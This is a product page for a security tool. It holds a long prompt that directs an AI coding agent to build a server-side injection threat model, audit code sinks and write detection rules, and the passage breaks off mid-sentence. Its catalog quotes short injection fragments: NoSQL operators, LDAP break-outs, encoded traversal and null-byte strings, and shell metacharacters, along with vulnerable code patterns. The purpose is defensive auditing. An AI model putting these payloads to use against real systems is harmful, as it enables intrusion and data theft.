Injection (SQLi / RCE / SSTI)
SQL/NoSQL injection, command injection, SSTI, and path traversal — server-side sinks.
How to use this prompt
- 1Install SecureNow in your project (then optionally
npx securenow login):$ npm install securenow - 2Copy the prompt below and paste it into your AI coding agent (Claude Code, Cursor, Codex…) opened at the root of your project.
- 3It generates four files into
threat/06-injection/— openinjection-code-findings.html(the audit) andinjection-detection-mitigation.html(the defenses) in your browser.
🔒No repository upload to SecureNow is required. Your coding agent/provider determines where code is processed. The prompts request self-contained HTML reports that can be opened offline; review the generated output and keep sensitive findings in an environment you control.
Topic-specific review guide
Trace untrusted input to the operation it can influence
Guide updated
Inventory inputs and execution boundaries
Map where external data enters the application and where it can become a query, command argument, template expression, or filesystem path. Include HTTP bodies and query parameters, uploaded filenames, queue messages, stored records, and third-party responses. Previously stored data can remain untrusted. The objective is to identify the actual operation a caller can influence, the application's privilege at that point, and the validation or safe API that should constrain it.
Inspect the construction of each sensitive operation
In the repository, follow values into database calls, process execution, template rendering, and file access. Check parameterized SQL and the handling of dynamic identifiers separately. Inspect whether NoSQL filters accept caller-supplied operators, whether process arguments cross a shell boundary, and whether resolved paths remain inside an allowed directory. Request the exact input-to-operation path, including any normalization or authorization steps. Use isolated fixtures to test rejected input and a legitimate equivalent. Avoid running destructive payloads against production to validate a code finding.
Distinguish a probe from a successful operation
Production traces help establish which route received a request and which instrumented downstream operations followed. An injection-looking string is evidence of a probe; it does not prove execution. A 200 response might be an error wrapper or a fallback page. Check application outcomes and relevant database or process evidence before declaring exploitation. Capture only the fields required for the question and verify redaction settings first. Missing downstream spans, sampling, and truncated bodies constrain what an investigator can conclude.
Fix the operation and verify normal behavior
The expected result is a specific unsafe construction replaced by an appropriate API or a narrowly validated value, with regression checks for both rejected and legitimate input. Review the database account or process privileges as a separate containment layer. Firewall signatures and rate limits can reduce attack traffic, but they do not substitute for safe query construction, argument handling, or template isolation. Record unsupported sinks and unobserved outcomes as gaps rather than marking the whole application safe.
The prompt
# Injection (Server-Side) Threat Model — Generator Prompt
A **copy-paste prompt** for customers. Paste the entire prompt below into an AI coding agent
(Claude Code, Cursor, Codex, …) opened at the root of **any project** that has the
`securenow` CLI installed and logged in. The agent will inventory every place untrusted input
reaches a server-side interpreter/sink, build an exhaustive **server-side injection** threat
model mapped to **OWASP A03:2021 Injection** and the relevant **CWEs**, audit the code for
injection flaws, and emit **four** SecureNow-branded deliverables across **two tracks**
(Detection & Mitigation + Code Findings & Recommendations, each as **Markdown + self-contained
HTML** with offline **copy buttons**) — every rule and command **grounded in the installed SDK**
and shipped as a **ready-to-copy unit** — including the custom payload-pattern rules (and their
instant conditions) to create, the other detection rules to create, the mitigation commands to run, how to test each one, the
code-level findings (audited, **not** fixed), and which threats still need the SecureNow team.
This is the **server-side injection** deep model — the classic interpreter-sink exploit class
that the [API security model](../14-api-security/api-security-threat-model-prompt.md) touches
as a single catalog (its catalog **C**). It owns **every server-side sink**: SQL, NoSQL,
OS/command, code/`eval`, deserialization, template (SSTI), LDAP/XPath/XQuery, path
traversal/LFI, header/CRLF/log injection, ORM/query-builder raw fragments, XXE, and search-DSL
injection — plus the encoding/normalization filter-bypass tricks that defeat naïve input
filters. It **defers** (does not re-derive): **client-side** XSS (reflected/stored/DOM in the
browser) → [../04-xss-csrf-cors/](../04-xss-csrf-cors/); **GraphQL** injection/query abuse →
[../15-graphql-security/](../15-graphql-security/); **LLM prompt** injection →
[../25-ai-llm-features/](../25-ai-llm-features/); and the broader API surface (resource
consumption, SSRF, misconfig, inventory) → [../14-api-security/](../14-api-security/).
> **This is SecureNow's strongest play — and you build it.** SecureNow ships **no pre-built
> signature rules**: every SQLi / XSS / command-injection / path-traversal / SSTI / NoSQL-operator
> payload detection is a **custom traces rule** you author on the captured request fields
> (`http.target`, `http.request.body`, `http.request.headers`, `http.user_agent` — only those
> `telemetry fields` shows for this app). It is created in test mode, tuned, promoted, and — for
> the high-precision patterns — given **instant conditions** so the **source IP is blocked seconds
> after the matching span is ingested**. The triggering request has already been served; the block
> stops the follow-up requests. Your job here is to **author those pattern rules**, classify what a
> request pattern can catch vs what needs an **app fix** (parameterization, allow-listing, safe
> APIs), and **pair edge-containment with the app fix** — the pattern rule contains the actor
> sending a matching payload; only parameterized/safe-API code closes the sink. SecureNow does not
> "see" a string-built query or an `exec()` call; it sees the **request** carrying the payload.
Requirements on the customer machine: `npm i -g securenow && securenow login` (admin auth +
app runtime connected). Everything else is discovered by the agent.
---
<!-- ════════════════ COPY EVERYTHING BELOW THIS LINE ════════════════ -->
# Generate a Server-Side Injection Threat Model Report (SecureNow)
You are a senior application-security engineer specializing in injection vulnerabilities.
Produce an **exhaustive server-side injection threat model for THIS codebase**, organized along
**OWASP A03:2021 Injection** and mapped to the relevant **CWEs**
(**CWE-89** SQLi, **CWE-78** OS command, **CWE-94** code injection, **CWE-79** XSS,
**CWE-90** LDAP, **CWE-643** XPath, **CWE-22** path traversal, **CWE-611** XXE,
**CWE-502** deserialization, **CWE-117** log injection), mapped to **SecureNow** detections and
mitigations, with a ready-to-run action plan **and** a code-level audit of every injection sink
you find. You write **four** deliverables across **two tracks** into `threat/06-injection/`
(create the folder if needed) — every rule and command **grounded in the SDK actually installed
in this repo** (Phase 0.5) and shipped as a **ready-to-copy unit** (Phase 4):
**Track 1 — Detection & Mitigation (the operational runbook: what to run in SecureNow):**
1. `injection-detection-mitigation.md` — the detection/mitigation runbook in Markdown.
2. `injection-detection-mitigation.html` — the same, as a **self-contained** HTML page (inline
CSS + JS, no network requests) with a **Copy button** on every command/SQL block.
**Track 2 — Code Findings & Recommendations (the code audit: issues + recommendations):**
3. `injection-code-findings.md` — the code audit in Markdown (findings only, **never** applied).
4. `injection-code-findings.html` — the same, as a **self-contained** HTML page.
The two tracks **cross-link** each other: the gaps/instrumentation rows in the detection report
link to the relevant code finding, and each code finding links back to the detection row it backs.
Work in the phases below, in order. **Never invent facts**: if something is not in the
codebase or not returned by a CLI command, say "not found" — do not guess. **Do not modify
application code.** You are auditing: every code-level fix is *described in the report*, never
applied to the repo.
**Scope discipline.** This model owns **server-side interpreter sinks** (SQL, NoSQL, OS/command,
code/`eval`, deserialization, SSTI, LDAP/XPath/XQuery, path traversal/LFI, header/CRLF/log
injection, ORM raw fragments, XXE, search-DSL) and the encoding/normalization bypasses that
defeat input filters. For the following, do **not** re-derive the deep model — list them in a
"Deferred to sibling models" subsection, link the report, and only model their
server-side/traffic-observable overlap where SecureNow adds value:
- **Client-side XSS** (reflected/stored/DOM executing in the browser) → [client-side XSS / CSRF / CORS model](../04-xss-csrf-cors/). *(Server-side **stored**-payload sinks and reflected-payload pattern detection are in-scope here; the DOM-execution model is there.)*
- **GraphQL injection & query abuse** → [GraphQL security model](../15-graphql-security/).
- **LLM prompt injection** → [AI / LLM features model](../25-ai-llm-features/).
- **SSRF, resource consumption, misconfig, API inventory** → [API security model](../14-api-security/) (parent; injection is its catalog C — here it is the whole model).
---
## Phase 0 — Verify SecureNow tooling
Run and record (use `--json` where supported):
```bash
securenow doctor # connectivity must be healthy
securenow whoami # admin auth + runtime app
securenow status --json # app key(s), environment, firewall state
securenow alerts rules list --json # detection rules that already exist (record any custom payload/injection rules; none ship by default)
securenow automation --json # blocklist automations that already exist
securenow challenge list --json # CAPTCHA / proof-of-work challenge rules
securenow env --json # resolved SDK config (service name, endpoints)
```
If the CLI is missing or not logged in, **stop** and tell the user to run
`npm i -g securenow && securenow login`, then re-run this prompt. Capture the **app key**
(UUID) — every rule and command in the report must use it. If multiple apps exist, ask the user
which app this codebase maps to before continuing.
**The most important Phase 0 output for this model:** from `securenow alerts rules list --json`,
record any **custom payload/injection rules** already created for this app (SQLi / XSS /
command-injection / traversal / SSTI / NoSQL-operator pattern matchers): rule ID/name, mode
(`test`/`prod`), status, and whether instant conditions (and `block`) are attached. **None exist
by default** — SecureNow ships no pre-built signature rules — so their absence is a **gap this
report fills** (Phase 4b), not a misconfiguration; building the payload-pattern rule is the single
highest-leverage action in the whole report — call it out in the executive summary. Then, with the
app key, run `npx securenow telemetry fields --app <APP_KEY> --since 7d --source traces` and record
which request fields are captured: `http.target` (path + query), `http.request.body` (only when
body capture is on), `http.request.headers` (redacted header JSON — Node tracer only; the Next.js
integration records only the client-IP headers), `http.user_agent`. A payload pattern can only be
matched on a field that is captured. Note the **firewall state** too (a known-bad IP feed refreshed
hourly that drops known scanners before the app sees them; legitimate crawlers stay allowed).
---
## Phase 0.5 — Ground every rule & command in the INSTALLED SDK
Before writing any SQL or CLI, read the SecureNow SDK that is actually installed in this repo so
every alert rule and command is correct for THIS version — never guess flags, subcommands, event
names, or SQL columns:
```bash
cat node_modules/securenow/package.json # installed SDK version (record it in both reports)
ls node_modules/securenow # exported modules: events, sessions, register, run, …
ls node_modules/securenow/dist 2>/dev/null # built entrypoints / bundled CLI
npx securenow --help # top-level commands available in this version
npx securenow alerts rules --help # exact create flags: --name/--sql/--apps/--severity/--schedule/--nlp
npx securenow event --help # `event send` shape for synthetic tests
npx securenow ratelimit --help; npx securenow challenge --help
npx securenow blocklist --help; npx securenow automation --help; npx securenow trusted --help
```
If `node_modules/securenow` is absent, run `npm ls securenow`; if still missing, tell the user to
`npm i securenow` (or `npm i -g securenow`) and stop. EVERY command, flag, `track('…')` event
name, and SQL column you emit MUST be one the installed SDK/CLI actually exposes. If the installed
version lacks a capability this prompt references, emit the rule but annotate it
`# requires securenow >= <version>` instead of a broken command. Record the resolved version in
the appendix of BOTH reports.
In Phase 4 and Phase 5, treat `node_modules/securenow` + `--help` as the source of truth: the
`securenow/events` `track()` signatures, the `securenow alerts rules` SQL columns, and every
mitigation subcommand are discoverable there. Cross-check before emitting.
---
## Phase 1 — Inventory the injection surface (codebase analysis)
Injection defense starts with a **sink inventory**: enumerate every place untrusted input
reaches an interpreter, and for each sink record whether the input is **parameterized / escaped /
allow-listed** (safe) or **concatenated / interpolated / passed raw** (a finding). Document what
is **actually in the code**, not what is intended. Cover at minimum:
- **Untrusted input sources** — request body/query/params/headers, cookies, path segments,
uploaded file names/contents, webhook payloads, message-queue/job payloads, imported
CSV/XML/JSON, third-party/upstream API responses (second-order source), and DB-stored values
re-used in a later query (**second-order injection**). Note every source that flows to a sink.
- **SQL sinks (CWE-89)** — raw driver queries, string-concatenated/template-literal SQL,
dynamic `ORDER BY` / `LIMIT` / column / table names (not parameterizable — must be
allow-listed), `IN (...)` list building, `LIKE` with user wildcards, stored
procedures called with concatenation, and **second-order** SQL (value stored then later
concatenated). Record the driver/ORM and whether placeholders (`?`, `$1`, `:name`) are used.
- **NoSQL / operator-injection sinks** — MongoDB/Mongoose/`$where`/`$expr`, query objects built
directly from `req.body` so an attacker can smuggle operators (`{ "$gt": "" }`, `{ "$ne": null }`,
`{ "$where": "..." }`), JSON-operator smuggling through body parsers that keep object values,
Redis/CouchDB/Elasticsearch DSL built from input.
- **OS / command injection sinks (CWE-78, RCE)** — `child_process.exec`/`execSync`, shell
`spawn`/`system`, backticks, `os.system`/`subprocess` with `shell=True`, `Runtime.exec`,
`popen`, ImageMagick/ffmpeg/git/tar shell-outs, and any command string built from input.
- **Code injection sinks (CWE-94)** — `eval`, `Function(...)`, `vm.runIn*`, `setTimeout(string)`,
dynamic `require()`/`import()` with a user-influenced specifier, `pickle`/`marshal`, dynamic
class/method dispatch from input.
- **Insecure deserialization sinks (CWE-502)** — `node-serialize`, Java `ObjectInputStream`,
PHP `unserialize`, Python `pickle`/`yaml.load` (unsafe), .NET `BinaryFormatter`/`JSON.NET`
`TypeNameHandling`, polymorphic/typed JSON, any gadget-chain-reachable deserializer fed
attacker bytes.
- **Server-side template injection sinks (SSTI)** — user input compiled **as a template** (not
just passed as data) in Jinja2/Django, Handlebars/Mustache, Twig, EJS/Pug, Freemarker/Velocity,
ERB/Liquid, or string-built template sources. Distinguish *data into a template* (safe) from
*input becoming the template* (SSTI → often RCE).
- **LDAP / XPath / XQuery sinks (CWE-90, CWE-643)** — directory search filters, XPath/XQuery
expressions built by concatenating input.
- **Path traversal / LFI sinks (CWE-22)** — `fs.readFile`/`sendFile`/`require`/`include`/static
serving with a path built from input; `../`, encoded (`%2e%2e`, `..%2f`, double-encoded),
absolute paths, null-byte, and Windows `..\` / UNC. Note archive extraction (zip-slip) as a
path-traversal sink.
- **Header / CRLF / response-splitting / open-path sinks** — `res.setHeader`/redirect
`Location`/`Set-Cookie` built from input (CRLF → response splitting / header injection).
- **Log injection sinks (CWE-117)** — user input written to logs without newline/CRLF
neutralization (log forging, log-pipeline injection, downstream SIEM poisoning). Especially
dangerous when logs are parsed by another system.
- **ORM / query-builder raw fragments** — Sequelize `literal`/`where: { [Op]: sequelize.literal(...) }`,
TypeORM `query()`/raw `where`, Knex `whereRaw`/`raw`, Prisma `$queryRawUnsafe`,
Django `.extra()`/`.raw()`, Hibernate HQL string-built, ActiveRecord string `where`. Any raw
SQL fragment fed input.
- **XXE / entity-expansion sinks (CWE-611)** — XML parsers (libxml2, DOM/SAX, `lxml`, JAXP,
.NET `XmlReader`) with external-entity resolution / DTD processing enabled; SVG/Office/SOAP
payloads; billion-laughs entity expansion.
- **Search-DSL sinks** — Elasticsearch/OpenSearch/Lucene/Solr query strings, SQL-like search
DSLs, filter-expression languages built from input.
- **Input normalization & filter layer** — any homegrown blacklist/regex "sanitizer", WAF-style
filter, decode order, charset handling. Note where the same input is decoded/normalized
**after** the filter check (double-decode bypass), or where mixed case / unicode / overlong
UTF-8 / null bytes defeat the filter.
- **SecureNow instrumentation already present** — `securenow/register` / `securenow run` /
`securenow init` (gives traffic spans automatically so custom payload-pattern rules can match),
whether request-body capture is on, any `securenow/events` `track()` calls, and whether the
firewall is engaged and any custom payload-pattern rules exist.
- **Telemetry privacy & redaction** — confirm the SDK/log pipeline redacts secrets, tokens,
and PII before ingestion. **Injection-specific:** ensure raw injection payloads captured as
attributes do not themselves leak data (a successful injection's *response* must not be logged
verbatim). If redaction is missing, raise a high-severity finding.
Output of this phase = the report's **Injection surface & sink inventory** section: a
**sink table** (`Sink | File:line | Interpreter | Input source | Parameterized? | 2nd-order? | Risk`),
the input-source → sink flow map, the normalization/filter posture, the redaction status, and a
short paragraph naming the real injection attack surface for this stack (which interpreters are
in play, which sinks are concatenation-built, what an attacker reaches if one falls).
---
## Phase 2 — Enumerate threats (exhaustive catalog)
Evaluate **every** threat below against the discovered surface. Each item is either **modeled**
(a row in the threat matrix) or **explicitly N/A** (one line in an "Out of scope" subsection
with the reason — e.g. "LDAP items: N/A, no directory backend"). Never silently drop an item.
Add stack-specific sinks you discover that are not listed — this catalog is the **floor**, not
the ceiling. Tag each modeled row with **A03:2021** and its specific **CWE**.
**A. SQL injection (CWE-89)**
1. Classic SQLi via string-concatenated / template-literal query from request input
2. Dynamic `ORDER BY` / `GROUP BY` / column / table name from input (not parameterizable — needs allow-list)
3. Dynamic `LIMIT` / `OFFSET` / pagination value injected into the query
4. `IN (...)` list / bulk-id query built by joining input values
5. `LIKE` clause with attacker-controlled wildcards / escape bypass
6. Second-order SQLi — value stored safely, later concatenated into a query
7. Blind / boolean-based SQLi (response-difference oracle)
8. Time-based blind SQLi (`SLEEP`/`pg_sleep`/`WAITFOR` — response-timing oracle)
9. Stacked queries / batch statement injection (`;` second statement)
10. Stored-procedure / function call built by concatenation
**B. NoSQL / operator injection (CWE-89-class)**
11. Mongo operator smuggling via body — `{ "$gt": "" }`, `{ "$ne": null }` to bypass auth/filter
12. `$where` / `$expr` / `$function` server-side JS injection (RCE-class on the DB)
13. JSON operator smuggling through a body parser that preserves object/array values
14. Query built directly from `req.body` (whole-object trust → operator injection)
15. Other document/KV store DSL injection (CouchDB Mango, Redis, Elasticsearch query body)
**C. OS / command injection — RCE (CWE-78)**
16. Shell command string concatenated from input (`exec`/`execSync`/`system`/backticks)
17. Argument injection / flag injection into an otherwise-safe spawned binary (`--`-bypass)
18. `shell=True` / shell metacharacters reaching the shell (`;`, `|`, `$()`, `` ` ``, `&&`)
19. Shell-out to image/media/git/tar/pdf tooling with input in the command line
**D. Code injection & deserialization (CWE-94, CWE-502)**
20. `eval` / `Function(...)` / `vm.runIn*` / `setTimeout(string)` on input
21. Dynamic `require()` / `import()` / module-path from input
22. Insecure deserialization — gadget chain via `unserialize`/`pickle`/`ObjectInputStream`/`node-serialize`
23. Polymorphic / typed JSON deserialization (`TypeNameHandling`, `yaml.load` unsafe, typed binders)
**E. Server-side template injection (SSTI)**
24. User input compiled as a template (Jinja2/Twig/Freemarker/Velocity → RCE)
25. User input as a template in a JS engine (Handlebars/EJS/Pug/Mustache helpers)
26. Sandbox-escape / context-object access from a partially-trusted template
**F. LDAP / XPath / XQuery injection (CWE-90, CWE-643)**
27. LDAP search-filter injection (`*`, `)(uid=*`, filter break-out)
28. XPath / XQuery injection (authentication/data-extraction filter break-out)
**G. Path traversal / LFI (CWE-22)**
29. `../` / encoded / double-encoded path traversal into file read/serve
30. Absolute-path / drive-letter / UNC injection into a path-from-input
31. Null-byte / extension-confusion traversal (`%00`, `file.php%00.png`)
32. Archive extraction path traversal (zip-slip — `../` inside an uploaded archive)
33. Local file inclusion / dynamic include from a user-influenced path
**H. Header / CRLF / log injection (CWE-117 + response splitting)**
34. CRLF header injection / HTTP response splitting via a reflected header/redirect value
35. `Set-Cookie` / `Location` / cache-key injection from input
36. Log forging / log injection — CRLF or control chars into log lines (CWE-117)
37. Log-pipeline / SIEM injection — crafted log line that downstream parsers mis-handle
**I. ORM / query-builder injection**
38. Raw fragment helpers fed input (`whereRaw`, `$queryRawUnsafe`, `.raw()`, `literal`, `.extra()`)
39. ORM mass-assignment into query filters / sort that reaches raw SQL
40. HQL / JPQL / ActiveRecord string-`where` injection
**J. XML / entity & DSL injection (CWE-611)**
41. XXE — external entity → file read / SSRF / OOB exfiltration
42. Entity-expansion / billion-laughs DoS
43. Search-DSL injection (Elasticsearch/Lucene/Solr/OpenSearch query-string built from input)
44. XInclude / DTD parameter-entity OOB
**K. Encoding, normalization & filter-bypass (negative-space / evasion)**
45. Double / triple URL-encoding bypass of a naïve filter (`%252e`, `%2527`)
46. Unicode / overlong-UTF-8 / homoglyph / full-width bypass of a keyword blacklist
47. Mixed-case / comment-insertion SQL evasion (`SeLeCt`, `/**/`, `--`)
48. Decode-after-filter order bug (input checked, then decoded into the payload)
49. Null-byte / control-char / whitespace-variant evasion of a sanitizer
**L. Observable abuse (what telemetry + custom pattern rules actually catch — the workhorse coverage)**
50. Exploit-pattern match in a request (SQLi / XSS / command-injection / traversal / SSTI / NoSQL-operator payloads) → **custom payload-pattern traces rule + instant conditions**
51. Injection-fuzzing burst — one IP firing many payload variants → 4xx/5xx + distinct-path spike
52. Time-based-blind probing — repeated slow/erroring requests to one endpoint (5xx / latency onset)
53. App-emitted "input rejected by my own validator/parameterizer" signal (high-signal, needs instrumentation)
54. Second-order detection — app emits when a stored value fails a later safe-query gate
**M. Deferred — modeled in sibling models (reference, do not re-derive)**
55. Client-side reflected / stored / DOM **XSS execution in the browser** → [../04-xss-csrf-cors/](../04-xss-csrf-cors/) *(server-side payload-pattern detection stays here; browser execution is there)*
56. **GraphQL** injection / query-language abuse → [../15-graphql-security/](../15-graphql-security/)
57. **LLM prompt injection** → [../25-ai-llm-features/](../25-ai-llm-features/)
58. **SSRF** (incl. XXE-driven SSRF mitigation), API resource consumption, misconfig & inventory → [../14-api-security/](../14-api-security/)
> For 55–58, add **one** matrix row each marked *"deferred — see linked model"*, and only note
> the SecureNow-observable overlap (e.g. for XSS: your **custom payload-pattern rule** matches the
> reflected payload here; the browser-execution model lives in 04). The full detection/mitigation lives in
> the linked report. Do not duplicate their catalogs.
> **Coverage-badge honesty (read before tagging).** Use 🟢/🟡/🔴 strictly:
> - 🟢 **COVERED** — a **custom payload-pattern rule** (Phase 4b; instant conditions on its
> high-precision patterns) matches this payload class on a field `telemetry fields` shows is
> captured **and** there is a clear path to closing the sink. Catalog **A/B-partial/C** SQLi
> and RCE pattern-bearing payloads, and reflected-XSS-shaped payloads (L50), land here for the
> *edge containment* half. **Always pair with the app fix** — the pattern rule contains the
> actor sending a matching payload; only parameterization/safe-API closes the sink against
> novel/encoded payloads.
> - 🟡 **PARTIAL** — pattern coverage is incomplete or evasion-prone (encoded/blind/second-order
> payloads slip a pattern matcher), the field the pattern needs is not captured (e.g. no body
> capture), **or** detection needs app instrumentation (`track()` the
> rejection), **or** SecureNow can only contain the abusing IP while the **app fix is primary**.
> Blind/time-based SQLi, NoSQL operator smuggling, SSTI, deserialization, path traversal,
> header/log injection, and all filter-bypass items are typically 🟡.
> - 🔴 **GAP** — SecureNow cannot detect or mitigate this today (e.g. a second-order sink that
> emits no distinctive request and no event, a DB-internal `$where` JS execution). **Still
> include it**, give the app fix, and add the *"contact the SecureNow team"* line.
---
## Phase 3 — Audit the code (findings only — do not fix)
For **each** modeled threat that maps to a real sink, locate the responsible code and record a
**finding** for the report's "Code-level findings" section. A finding is:
- **Location** — `file:line` (clickable), the route/handler/repository/DAO/resolver name and
the **sink** (e.g. `db.query`, `child_process.exec`, `fs.readFile`, `template.render`).
- **Pattern** — quote the 1–8 relevant lines. State the missing control precisely (e.g.
"`db.query(\`SELECT * FROM u WHERE id=${req.params.id}\`)` — string-built SQL, no placeholder";
"`User.find(req.body)` — whole-body trust → Mongo operator injection";
"`exec('convert ' + req.file.path)` — input in a shell string → RCE";
"`ejs.render(req.body.tpl)` — input compiled as a template → SSTI";
"`fs.readFile(path.join(dir, req.query.name))` — no traversal guard").
- **Why exploitable** — the concrete request an attacker sends and what they achieve
(auth bypass, data exfiltration, RCE, file read, log poisoning) — include a sample payload.
- **Severity** — critical / high / medium / low (impact × reachability; RCE/SQLi data-exfil = critical).
- **Recommended fix (described, not applied)** — the **app fix** is always primary:
- SQL → **parameterized queries / prepared statements / placeholders**; for dynamic
`ORDER BY`/column/table use an **allow-list mapping**, never interpolation.
- NoSQL → reject/cast operator objects, validate that filter values are scalars, use schema
validation, disable `$where`/server-side JS.
- OS command → avoid the shell; use `execFile`/`spawn` with an **argument array** (no shell),
allow-list the binary and args, never interpolate.
- Code/eval → remove `eval`/dynamic-`require`; use a safe parser/dispatch table.
- Deserialization → use safe formats (JSON without type binding), disable polymorphic typing,
`yaml.safeLoad`, never deserialize attacker bytes into typed objects.
- SSTI → never compile user input as a template; pass input as **data**; sandbox/limit the engine.
- LDAP/XPath → use parameterized/escaped APIs, allow-list filter inputs.
- Path traversal → resolve + `realpath` and assert the result stays under a base dir;
allow-list filenames; reject `..`, encoded variants, absolute/UNC; safe archive extraction.
- Header/CRLF/log → strip/encode CR/LF; use framework header APIs; encode log fields (CWE-117).
- ORM raw → replace raw fragments with bound parameters / the query builder's safe API.
- XXE → disable external entities + DTD (`noent=false`, `FEATURE_SECURE_PROCESSING`, etc.).
- Filter-bypass → **don't rely on blacklists**; canonicalize/decode once **before** validation,
validate against an allow-list, and back it with the safe sink API (defense in depth).
Reference the secure pattern, not a code diff. **You must not edit the codebase.**
If a sink is **safe** (parameterized, `execFile` with args array, allow-listed path, entities
disabled), note it as a **strength** — the posture must be honest. A concatenation-built sink
where input reaches the interpreter is itself a finding even if "no known payload works today".
For L53/L54 (app-emitted signals), the *recommended fix* is to **add the `track()` call** at the
rejection point (see Phase 4a) so the otherwise-blind sink becomes detectable.
---
## Phase 4 — Map every modeled threat to SecureNow detection + mitigation
Classify each threat with exactly one coverage badge (🟢 / 🟡 / 🔴 — per the honesty rules in
Phase 2). The defining fact of this model:
> **Payload-borne injection is covered by a custom payload-pattern rule that you author** —
> SecureNow ships no pre-built signature rules. Write one **traces** rule that matches SQLi / XSS /
> command-injection / path-traversal / SSTI / NoSQL-operator patterns on the captured request
> fields (§4b), create it (it starts in test mode), tune it, have a person promote it, and attach
> **instant conditions** to its high-precision patterns so the source IP is blocked **seconds after
> the matching span is ingested** (the triggering request has already been served; follow-up
> requests are stopped). Everything a request pattern can't see — **blind/time-based** SQLi,
> **second-order** payloads, **NoSQL operator** smuggling the regex misses, **SSTI** in unusual
> syntax, **deserialization gadgets**, **encoded/normalized evasions** — is where you add app
> instrumentation (🟡) or accept a gap (🔴), and where the **app fix is the real remediation**.
Use **only** the SecureNow building blocks below. Never invent CLI flags, event names, or SQL
columns — and use **only** flags the installed SDK exposes (Phase 0.5: `securenow alerts rules
--help`).
> **Ready-to-copy command unit (required for every custom rule).** Each *new* detection becomes a
> **complete, copyable unit** — never a fragment. For each rule emit, in order: (1) the **SQL**,
> (2) a line **saving it to `rules/<name>.sql`** (e.g. the `-- rules/<name>.sql` header comment so
> `--sql @rules/<name>.sql` resolves), (3) the **validate** step
> (`securenow alerts rules validate <ANY_EXISTING_RULE_ID> --sql @rules/<name>.sql --app <APP_KEY> --json`
> — dry-runs the SQL without creating a rule), (4) the **full `securenow alerts rules create …`
> command**, (5) the **dry-run test** (`securenow alerts rules test <RULE_ID> --mode dry_run --wait --app <APP_KEY>`).
> In Markdown each is its own fenced block so it copies cleanly; the exact flags must match
> `securenow alerts rules --help` from Phase 0.5. **This applies to the payload-pattern rule
> (catalog C / L50) too** — its unit adds one more block: the MCP
> `securenow_alert_rule_instant_update` payload for its high-precision patterns (§4b). If Phase 0
> found a custom payload rule already, extend it (`alerts rules set-sql`) instead of duplicating it.
### 4a. Instrumentation (what injection detections feed on)
Once the app runs under `securenow run` / `securenow/register` / `securenow init`, **HTTP
traffic is captured automatically** — so a **custom payload-pattern rule can match payloads in the
request with no code changes** (on `http.target` always; on the body/headers only where
`telemetry fields` shows `http.request.body` / `http.request.headers`). That covers the
pattern-bearing half (catalog C / L50).
For the sinks a request pattern **can't** see — blind/time-based, NoSQL operators, SSTI,
deserialization, path traversal, second-order, filter-bypass — add `securenow/events` `track()`
at the **rejection / safe-gate point** (it never throws):
```js
const { track } = require('securenow/events');
// Your own validator / parameterizer / safe-sink rejected a suspicious input:
track('injection.attempt.blocked', { userId, ip, attributes: { sink: 'sql|nosql|command|code|template|ldap|xpath|path|header|log|orm|xxe|search_dsl', route: '/api/search', reason: 'operator_object|metachar|traversal|template_marker|deser_type|encoded_payload' } });
// A NoSQL query rejected because a body field was an operator object instead of a scalar:
track('injection.nosql.operator', { userId, ip, attributes: { route: '/api/login', field: 'username', operator: '$ne|$gt|$where|$expr' } });
// A path resolved OUTSIDE the allowed base dir (traversal caught by your realpath guard):
track('injection.path.traversal', { ip, attributes: { route: '/api/file', reason: 'escapes_base|absolute|encoded|null_byte' } });
// A template/deser/eval guard tripped (high-signal — these are usually pre-RCE):
track('injection.template.blocked', { ip, attributes: { route: '/api/render', engine: 'ejs|handlebars|jinja|twig', reason: 'input_as_template' } });
track('injection.deser.blocked', { ip, attributes: { route: '/api/import', format: 'pickle|java|php|node|yaml|typed_json', reason: 'untrusted_type' } });
// SECOND-ORDER: a stored value failed a later safe-query gate (closes the blind spot):
track('injection.secondorder.detected', { userId, ip, attributes: { sink: 'sql|command|template', source: 'db|import|upstream', route: '/api/report' } });
// XXE / entity-expansion blocked by your hardened XML parser:
track('injection.xxe.blocked', { ip, attributes: { route: '/api/xml', reason: 'external_entity|dtd|entity_expansion' } });
```
> Hash or omit any PII before it becomes an attribute value, and **never put the raw injection
> payload or the injected response into an attribute** — see the Phase 1 redaction check.
> Attributes feed detection; they must not become a new leak path.
Recommended injection event taxonomy — rules match these **exact strings**:
| Event | Emit when |
|---|---|
| `injection.attempt.blocked` | your own validator/safe-sink rejects a suspicious input at any sink |
| `injection.nosql.operator` | a NoSQL filter field arrived as an operator object instead of a scalar |
| `injection.path.traversal` | a resolved path escaped the allowed base dir (traversal caught) |
| `injection.template.blocked` | user input was about to be compiled as a template (SSTI guard) |
| `injection.deser.blocked` | an untrusted/typed object was refused by a deserialization guard |
| `injection.secondorder.detected` | a stored/imported/upstream value failed a later safe-query gate |
| `injection.xxe.blocked` | an XML parser refused external entities / DTD / entity expansion |
Custom `attributes` become queryable as `attributes_string['<key>']` (e.g.
`attributes_string['sink']`). Ingest enriches every IP with **ASN/org** (`client.asn`,
`client.as_org`) — enabling botnet/datacenter-origin detection with no extra code.
### 4b. Detection rules — SQL conventions
> **First and foremost: the injection payload classes (catalog C / L50) need a custom
> payload-pattern rule — SecureNow ships no pre-built signature rules.** Author it below as a
> **traces** rule matching SQLi / XSS / command-injection / path-traversal / SSTI / NoSQL-operator
> patterns on `http.target` / `http.request.body` / `http.request.headers` / `http.user_agent`
> (only the fields `telemetry fields` showed in Phase 0), create it (test mode), then attach
> **instant conditions** to its high-precision patterns via MCP. The example regexes are
> deliberately **conservative starting points**: they miss some payloads and can still hit
> legitimate traffic on your app (CMS/HTML editors, code-snippet or query-builder endpoints, docs
> search). **Tune them in test mode** on real traffic, and exclude routes that legitimately accept
> such content (`securenow alerts rules exclusions <RULE_ID> add …`, or a path filter in the SQL)
> before anyone promotes the rule.
The custom SQL rules below cover the **payload patterns** themselves (L50), the **observable
abuse** of injection fuzzing/probing (L51/L52) and the **app-emitted** events (L53/L54). Two query shapes. Both
**must** keep the tenant scope and **must** select an `ip` column (per-IP aggregation is what
remediation/auto-block keys on). **The tenant-scope column differs by table** — using the wrong
one fails with `UNKNOWN_IDENTIFIER`:
- **logs/events** (`signoz_logs.distributed_logs_v2`) → `resources_string['service.name'] IN (__USER_APP_KEYS__)`
- **traces/HTTP** (`signoz_traces.distributed_signoz_index_v3`) → `` `resource_string_service$$name` IN (__USER_APP_KEYS__) ``
When grouping by `ip`, add `HAVING ip != '' AND …` so rows with no client IP don't aggregate
into an empty-key bucket. Traffic columns proven available: `response_status_code`, `kind`
(server span = 2), `ts_bucket_start`, `attributes_string['http.target']`, the `client_ip`
coalesce below. Confirm any other column with a `--mode dry_run` before relying on it — and use
